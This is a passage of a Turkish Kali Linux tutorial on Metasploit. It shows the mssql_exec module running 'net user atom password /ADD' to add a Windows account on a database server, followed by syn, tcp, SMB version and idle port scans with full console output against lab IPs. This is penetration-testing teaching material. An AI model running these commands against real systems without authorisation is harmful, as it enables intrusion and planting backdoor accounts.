TDSENCRYPTION false yes Use TLS/SSL **for **TDS data "Force Encryption" USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification **(**requires DOMAIN option set**)**
msf auxiliary**(**mssql_exec**)** > set RHOST 10.211.55.128
RHOST **=>** 10.211.55.128
msf auxiliary**(**mssql_exec**)** > set MSSQL_PASS password
MSSQL_PASS **=>** password
msf auxiliary**(**mssql_exec**)** > set CMD net user atom password /ADD
cmd **=>** net user atom password /ADD
msf auxiliary**(**mssql_exec**)** > exploit
Yukarıdaki örnekte, exploit başarılı olduğu takdirde, net user atom password /ADD komutunun gönderilerek MSSQL veri tabanına bir kullanıcı eklenmektedir. Bu komutun, set CMD net user atom password /ADD ile CMD değişkenine girildiğine dikkat edin.
2.46 - MSF İçinde Port Tarama
Bu yazımızda, Metasploit içerisinde sağlanan Port tarama modüllerine kısaca bakacağız. Nmap ve diğer port tarama seçeneklerinin yanında, Metasploit tarafından sağlanan Port tarama modüllerinin, kullanıcıya ne gibi esneklikler sağladığını göreceğiz.
Bu yazımızda, Metasploit içerisinde sağlanan Port tarama modüllerine kısaca bakacağız. Nmap ve diğer port tarama seçeneklerinin yanında, Metasploit tarafından sağlanan Port tarama modüllerinin, kullanıcıya ne gibi esneklikler sağladığını göreceğiz.
Metasploit İçinde Port Tarama
Tarayıcılar ve hemen hemen tüm auxiliary modülleri RHOST yerine RHOSTS değişkenini kullanırlar. RHOSTS değişkeni farklı formatlarda girilebilen IP aralıkları alabilir.
IP Aralıkları (192.168.1.20-192.168.1.30)
CIDR Gösterimi (192.168.1.0/24),
Çoklu format (192.168.1.0/24, 192.168.3.0/24),
Bis dosyadan IP adresleri (file:/tmp/hostlist.txt). Her satırda 1 IP olmalı
THREADS
Metasploit içerisinde kullanılan tarama modüllerinin içinde THREADS isimli bir değişken bulunur. Bu değişken, tarama esnasında kaç kanaldan denemenin çalıştırılacağını belirlememizi sağlar. THREADS değişkeni varsayılan olarak 1 değerine ayarlıdır. Bu değeri arttırdığınızda tarama hızlanır. Taramanın hızlanması, işlerin çabuklaşması için faydalı olsa da bir takım kısıtlamaları bulunmaktadır. Aşağıdaki listede THREADS değişkeni ile ilgili tavsiyeleri dikkate almalısınız.
MSF programı Win32 sistemlerde çalışıyorsa THREADS değerini 16 ve altında ayarlayın.
MSF programı Cygwin sistemde çalışıyorsa THREADS değerini 200 ve altında ayarlayın
MSF programı Unix-like sistemde çalışıyorsa THREADS değerini 256 yapabilirsiniz.
Nmap & db_nmap
Metasploit içerisinde bildiğiniz klasik nmap komutunu kullanabileceğiniz gibi db_nmap komutunu da kullanabilirsiniz. db_nmap komutunu kullandığınızda bulunan sonuçlar otomatik olarak hosts tablolarına aktarılır. nmap ile tarama yaptığınızda, sonuçları -oA parametresiyle sonradan kullanmak için (xml, grepable ve normal) formatlarda bir dosyaya kaydederseniz, o dosyayı Metasplot içerisine db_import komutuyla alabilirsiniz.
Aşağıda, nmap komutunun kullanımına bir örnek görebilirsiniz. İşletim sisteminin komut satırından nmap komutunu kullanabileceğiniz gibi msf > komut satırından da nmap kullanılabilir. Örnekteki nmap komutu, sonuçları subnet_1 isimli dosyalara kaydedecektir. Bu dosyaları isterseniz Metasploit’ed aktarabilirsiniz. Bunun yerine db_nmap -v -sV 192.168.1.0/24 komutunu verirseniz, sonuçlar otomatik olarak hosts tablosuna kayıt edilir.
Port tarama için sadece nmap veya db_nmap kullanmak zorunda değilsiniz. Metasploit içerisinde başka bir takım Port tarama modülleri de bulunmaktadır. Bunları search portscan komutuyla listeletebilirsiniz.
msf > search portscan
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner
Şimdi nmap ile yapılmış bir tarama ve Metasploit içinde auxiliary/scanner/portscan/syn tarama modülü ile yapılmış tarama sonuçlarını karşılaştıralım.
msf > use auxiliary/scanner/portscan/syn
msf auxiliary**(**syn**)** > show options
Module options **(**auxiliary/scanner/portscan/syn**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, **in **milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor **(**maximum value by which to +/- DELAY**)** **in **milliseconds.
PORTS 1-10000 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 500 yes The reply read timeout **in **milliseconds
msf auxiliary**(**syn**)** > set INTERFACE eth0
INTERFACE **=>** eth0
msf auxiliary**(**syn**)** > set PORTS 80PORTS **=>** 80msf auxiliary**(**syn**)** > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf auxiliary**(**syn**)** > set THREADS 50THREADS **=>** 50msf auxiliary**(**syn**)** > run
> TCP OPEN 192.168.1.1:80
> TCP OPEN 192.168.1.2:80
> TCP OPEN 192.168.1.10:80
> TCP OPEN 192.168.1.109:80
> TCP OPEN 192.168.1.116:80
> TCP OPEN 192.168.1.150:80
> Scanned 256 of 256 hosts **(**100% complete**)**
> Auxiliary module execution completed
Metasploit auxiliary/scanner/portscan/syn modülü ile yukarıda yaptığımız taramanın hosts tablosuna kaydedildiğini biliyoruz. Şimdi bu sonuçları kullanarak TCP taraması yapalım. Aktif olan bir modülün ihtiyacı olan IP bilgileri RHOSTS değişkenine, hosts tablosundan hosts -R komutuyla aktarıldığını hatırlayın.
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary**(**tcp**)** > show options
Module options **(**auxiliary/scanner/portscan/tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, **in **milliseconds
JITTER 0 yes The delay jitter factor **(**maximum value by which to +/- DELAY**)** **in **milliseconds.
PORTS 1-10000 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
msf auxiliary**(**tcp**)** > hosts -R
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS **=>** 172.16.194.172
msf auxiliary**(**tcp**)** > show options
Module options **(**auxiliary/scanner/portscan/tcp**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string **for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-1024 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent THREADS
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
msf auxiliary**(**tcp**)** > run
> 172.16.194.172:25 - TCP OPEN
> 172.16.194.172:23 - TCP OPEN
> 172.16.194.172:22 - TCP OPEN
> 172.16.194.172:21 - TCP OPEN
> 172.16.194.172:53 - TCP OPEN
> 172.16.194.172:80 - TCP OPEN
> 172.16.194.172:111 - TCP OPEN
> 172.16.194.172:139 - TCP OPEN
> 172.16.194.172:445 - TCP OPEN
> 172.16.194.172:514 - TCP OPEN
> 172.16.194.172:513 - TCP OPEN
> 172.16.194.172:512 - TCP OPEN
> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed
msf auxiliary**(**tcp**)** >
İşletim sisteminde nmap yüklü olmayan bilgisayarlar için, Metasploit tarama modülleri büyük kolaylık sağlar.
SMB Versiyon Taraması
Yaptığımız SYN ve TCP taramalarında bir kısım IP adreslerinin açık olduğunu ve 445 numaralı Portların aktif olduğunu gördüğümüzü farz edelim. Bu durumda Windows için smb ve Linux için samba olarak ifade edilen taramayı kullanabiliriz.
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary**(**smb_version**)** > set RHOSTS 192.168.1.200-210
RHOSTS **=>** 192.168.1.200-210
msf auxiliary**(**smb_version**)** > set THREADS 11THREADS **=>** 11msf auxiliary**(**smb_version**)** > run
> 192.168.1.209:445 is running Windows 2003 R2 Service Pack 2 **(**language: Unknown**)** **(**name:XEN-2K3-FUZZ**)** **(**domain:WORKGROUP**)**
> 192.168.1.201:445 is running Windows XP Service Pack 3 **(**language: English**)** **(**name:V-XP-EXPLOIT**)** **(**domain:WORKGROUP**)**
> 192.168.1.202:445 is running Windows XP Service Pack 3 **(**language: English**)** **(**name:V-XP-DEBUG**)** **(**domain:WORKGROUP**)**
> Scanned 04 of 11 hosts **(**036% complete**)**
> Scanned 09 of 11 hosts **(**081% complete**)**
> Scanned 11 of 11 hosts **(**100% complete**)**
> Auxiliary module execution completed
Şimdi tekrar hosts komutunu verirseniz, en son yapılan smb tarama sonuçlarının da tabloya ilave edildiğini görebilirsiniz.
msf auxiliary**(**smb_version**)** > hosts
Hosts
**=====**
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.201 Microsoft Windows XP SP3 client
192.168.1.202 Microsoft Windows XP SP3 client
192.168.1.209 Microsoft Windows 2003 R2 SP2 server
Idle Tarama
Nmap tarafından kullanıcıya sağlanan tarama türlerinden bir tanesi de Idle taramadır. Bir ağda, boşta bulunan bir bilgisayar bulunur ve onun IP numarası üzerinden ağda bulunan diğer IP adresleri taranır. Öncelikle Idle tarama için kullanılacak bir IP adresi bulmalıyız. Bunu bulmak için auxiliary/scanner/ip/ipidseq modülünü kullanalım.
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary**(**ipidseq**)** > show options
Module options **(**auxiliary/scanner/ip/ipidseq**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent THREADS
TIMEOUT 500 yes The reply read timeout **in **milliseconds
msf auxiliary**(**ipidseq**)** > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf auxiliary**(**ipidseq**)** > set THREADS 50THREADS **=>** 50msf auxiliary**(**ipidseq**)** > run
> 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
> 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.104's IPID sequence class: Randomized
> 192.168.1.109's IPID sequence class: Incremental!
[*] 192.168.1.111's IPID sequence class: Incremental!
> 192.168.1.114's IPID sequence class: Incremental!
[*] 192.168.1.116's IPID sequence class: All zeros
> 192.168.1.124's IPID sequence class: Incremental!
[*] 192.168.1.123's IPID sequence class: Incremental!
> 192.168.1.137's IPID sequence class: All zeros
[*] 192.168.1.150's IPID sequence class: All zeros
> 192.168.1.151's IPID sequence class: Incremental!
[*] Auxiliary module execution completed
Çıktıda görülen IP adresleri Idle Tarama için kullanılabilir. aşağıdaki örnekte, 192.168.1.109 IP adresi zombie olarak kullanılmıştır ve onun üzerinden sistemdeki başka bir IP (192.168.1.114) adresine Port taraması gerçekleştirilmiştir.
msf auxiliary**(**ipidseq**)** > nmap -PN -sI 192.168.1.109 192.168.1.114
> exec: nmap -PN -sI 192.168.1.109 192.168.1.114
Starting Nmap 5.00 **(** <a href="http://nmap.org/">http://nmap.org</a> **)** at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 **(**192.168.1.109:80**)**; Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 **(**VMware**)**
Nmap **done**: 1 IP address **(**1 host up**)** scanned **in **5.56 seconds
Bu tarama sonucunda bulunan açık portlar ve servisler çıktıda görülebilir. Aynı işlemi, db_nmap komutuyla da yapabilirsiniz.
3 - Kali Linux Kitabı Son Kısım
Bu sayfa son kısım sayfasıdır.
Bu sayfa Kali Linux Kitabının son kısım sayfasıdır.